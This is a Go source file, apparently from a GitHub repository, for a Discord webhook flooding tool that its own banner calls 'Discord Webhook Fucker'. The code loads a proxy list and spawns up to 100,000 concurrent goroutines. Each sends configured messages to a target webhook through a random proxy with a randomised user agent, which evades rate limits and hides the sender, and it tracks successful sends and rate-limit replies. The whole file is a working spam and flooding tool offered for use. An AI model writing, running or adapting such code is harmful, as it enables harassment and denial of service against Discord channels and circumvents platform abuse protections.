-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.go
140 lines (119 loc) · 3.26 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main
import (
"bufio"
"encoding/json"
"fmt"
"github.com/admin100/util/console"
"github.com/corpix/uarand"
"github.com/gosuri/uilive"
"github.com/valyala/fasthttp"
"github.com/valyala/fasthttp/fasthttpproxy"
"math/rand"
"os"
"sync"
"time"
"main/utils"
)
var (
Config = utils.LoadConfig()
sentamt int
workdamt int
start int
end int
proxies []string
red = "\x1b[38;5;167m"
purple = "\x1b[38;5;57m"
pink = "\x1b[38;5;128m"
reset = "\x1b[0m"
)
func main() {
prox, err := os.Open("./proxies.txt")
if err != nil {
fmt.Printf("[%s%s%s] Failed to read ./proxies.txt\n", red, time.Now().Format("15:04:05"), reset)
return
}
s := bufio.NewScanner(prox)
for s.Scan() {
proxies = append(proxies, s.Text())
}
go TitleThread()
go ConsoleThread()
start = int(time.Now().Unix())
wg := sync.WaitGroup{}
goroutines := make(chan struct{}, Config.Threads)
for i := 0; i < 100000; i++ {
wg.Add(1)
go func() {
defer wg.Done()
goroutines <- struct{}{}
SendReq()
<-goroutines
}()
}
wg.Wait()
}
func ConsoleThread() {
fmt.Printf(purple+`
▓█████▄ █ █░ █████▒
▒██▀ ██▌▓█░ █ ░█░▓██ ▒
░██ █▌▒█░ █ ░█ ▒████ ░
░▓█▄ ▌░█░ █ ░█ ░▓█▒ ░
░▒████▓ ░░██▒██▓ ░▒█░
▒▒▓ ▒ ░ ▓░▒ ▒ ▒ ░
░ ▒ ▒ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░
░ ░
░
%v[%vDiscord Webhook Fucker%v]%v %v$%vimvast%v
%vProxies Loaded:%v %v
%v`, pink, purple, pink, reset, pink, purple, reset, purple, pink, len(proxies), reset)
writer := uilive.New()
writer.Start()
defer writer.Stop()
for {
fmt.Fprintf(writer, "%vWebhooks Sent:%v %v\n", purple, pink, workdamt)
fmt.Fprintf(writer.Newline(), "\n%v[%v] %v[Running Fucker]%v", pink, time.Now().Format("15:04:05"), purple, reset)
time.Sleep(time.Millisecond * 5)
writer.Flush()
}
}
func TitleThread() {
for {
console.SetConsoleTitle(fmt.Sprintf("imvast~DWF | Sent: %d/%d - Elapsed: %ds", workdamt, sentamt, (int(time.Now().Unix()) - start)))
time.Sleep(500)
}
}
func SendReq() {
req := fasthttp.AcquireRequest()
res := fasthttp.AcquireResponse()
defer fasthttp.ReleaseRequest(req)
defer fasthttp.ReleaseResponse(res)
values := map[string]string{
"content": Config.Content,
"username": "github.com/imvast",
"avatar_url": Config.AvatarUrl}
jsonValue, _ := json.Marshal(values)
req.Header.SetMethod("POST")
req.SetRequestURI(Config.Webhook)
req.SetBody(jsonValue)
req.Header.Set("user-agent", uarand.GetRandom())
req.Header.SetContentType("application/json")
proxy := proxies[rand.Intn(len(proxies))]
client := &fasthttp.Client{
Dial: fasthttpproxy.FasthttpHTTPDialer(proxy),
ReadBufferSize: 50_000,
}
err := client.Do(req, res)
if err != nil {
return //fmt.Printf(err.Error())
}
sentamt++
if res.StatusCode() == 204 {
workdamt++
} else if res.StatusCode() == 429 && Config.Debug == true{
body := string(res.Body())
fmt.Printf("[!] %v | %v", res.StatusCode(), body)
} else {
return //fmt.Println("check for error: res.StatusCode")
}
}